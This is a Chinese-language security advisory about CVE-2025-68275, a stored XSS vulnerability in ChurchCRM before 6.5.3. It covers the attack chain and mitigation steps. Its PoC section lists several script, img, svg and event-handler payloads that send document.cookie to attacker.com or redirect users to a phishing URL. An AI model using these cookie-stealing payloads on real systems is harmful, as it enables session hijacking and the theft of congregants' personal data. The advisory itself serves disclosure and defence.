IPBUF安全漏洞报告
English
CVE-2025-68275 CVSS 4.8 中危

ChurchCRM 存储型XSS漏洞 (CVE-2025-68275)

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68275
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

CVE-2025-68275存储型XSS跨站脚本攻击ChurchCRM教堂管理系统Web应用安全会话劫持数据窃取MEDIUM6.5.3以下版本

漏洞概述

ChurchCRM是一款开源的教堂管理系统,广泛应用于各类宗教组织进行人员管理、活动安排、捐款记录等日常管理工作。该系统在6.5.3版本之前存在严重的存储型跨站脚本(XSS)漏洞。攻击者可以利用此漏洞在特定页面的用户输入字段中注入恶意JavaScript代码,这些恶意代码会被永久存储在服务器数据库中。当其他用户访问受污染的页面时,恶意脚本会自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。漏洞影响三个关键页面:View Active People(查看活跃人员)、View Inactive People(查看非活跃人员)和View All People(查看所有人员)。由于这些页面通常包含大量信徒的个人信息,攻击者窃取的敏感数据可能包括姓名、联系方式、捐款记录等隐私信息。此漏洞被标记为中等严重程度,CVSS评分为4.8,主要因为其需要高权限用户权限和用户交互才能成功利用。

技术细节

该存储型XSS漏洞源于ChurchCRM对用户输入数据缺乏充分的输入验证和输出编码。在'人员查看'相关功能模块中,系统直接将从数据库读取的数据显示在网页上,而未对特殊字符进行HTML实体转义。攻击者(需要具有高权限)可以在人员信息字段(如姓名、地址、备注等)中插入恶意JavaScript代码,例如:<script>alert(document.cookie)</script>。由于这些数据被存储在数据库中,所有访问该人员记录的用户都会触发恶意脚本执行。攻击者可利用此漏洞窃取受害者的认证Cookie,通过XSS平台接收窃取的敏感信息,或者在用户浏览器中执行任意JavaScript操作。攻击的成功利用需要满足以下条件:攻击者拥有系统的高权限账户(如管理员或具有人员管理权限的角色),以及受害者需要访问包含恶意代码的页面并与页面产生交互行为(如鼠标悬停、点击等触发事件)。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标组织使用的ChurchCRM系统版本,确认版本低于6.5.3
STEP 2
步骤2
初始访问:攻击者获取ChurchCRM系统的高权限账户(如管理员账户或具有人员管理权限的账户)
STEP 3
步骤3
漏洞利用:攻击者在人员信息表单的文本字段中注入恶意JavaScript代码(如姓名、地址、备注等字段)
STEP 4
步骤4
数据持久化:恶意脚本代码被存储到数据库中,成为持久化的威胁
STEP 5
步骤5
触发阶段:当其他用户(如普通信徒或低权限用户)访问View Active People、View Inactive People或View All People页面时,恶意脚本自动执行
STEP 6
步骤6
数据窃取:恶意脚本窃取受害者的Cookie、会话令牌或其他敏感信息,并通过外部请求发送到攻击者控制的服务器
STEP 7
步骤7
账户劫持:攻击者利用窃取的凭证进行会话劫持,进一步横向移动或获取更多敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-68275 Stored XSS PoC for ChurchCRM // Target: ChurchCRM < 6.5.3 // Affected Pages: View Active People, View Inactive People, View All People // Step 1: Login to ChurchCRM with high privilege account // Step 2: Navigate to Person Management -> Add New Person or Edit existing person // Step 3: Inject XSS payload in any text field (e.g., First Name, Last Name, Address) // Example XSS Payloads: // Basic Cookie Stealer var xssPayload1 = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Image Tag Based XSS (bypasses some filters) var xssPayload2 = '<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'; // SVG Based XSS var xssPayload3 = '<svg/onload=fetch("https://attacker.com/steal?"+btoa(document.cookie))>'; // Event Handler Based XSS (requires user interaction) var xssPayload4 = '<a href="#" onmouseover="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">Hover me</a>'; // DOM Manipulation Payload var xssPayload5 = '<script>document.location="https://attacker.com/phish?redirect="+document.URL</script>'; // To test: // 1. Submit the payload through the person form // 2. Wait for admin/user to view the person list // 3. Check attacker server logs for stolen cookies/sensitive data

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制人员管理功能权限,仅允许绝对必要的用户访问;2) 在Web应用防火墙(WAF)层面配置XSS防护规则,过滤常见的XSS特征码;3) 提醒用户在访问人员列表页面时避免点击可疑链接;4) 加强对高权限账户的安全管理,使用强密码和多因素认证;5) 临时禁用或限制人员信息中特殊字符的输入;6) 实施严格的会话管理策略,缩短会话超时时间;7) 监控异常的网络流量和数据库查询行为,及时发现潜在攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表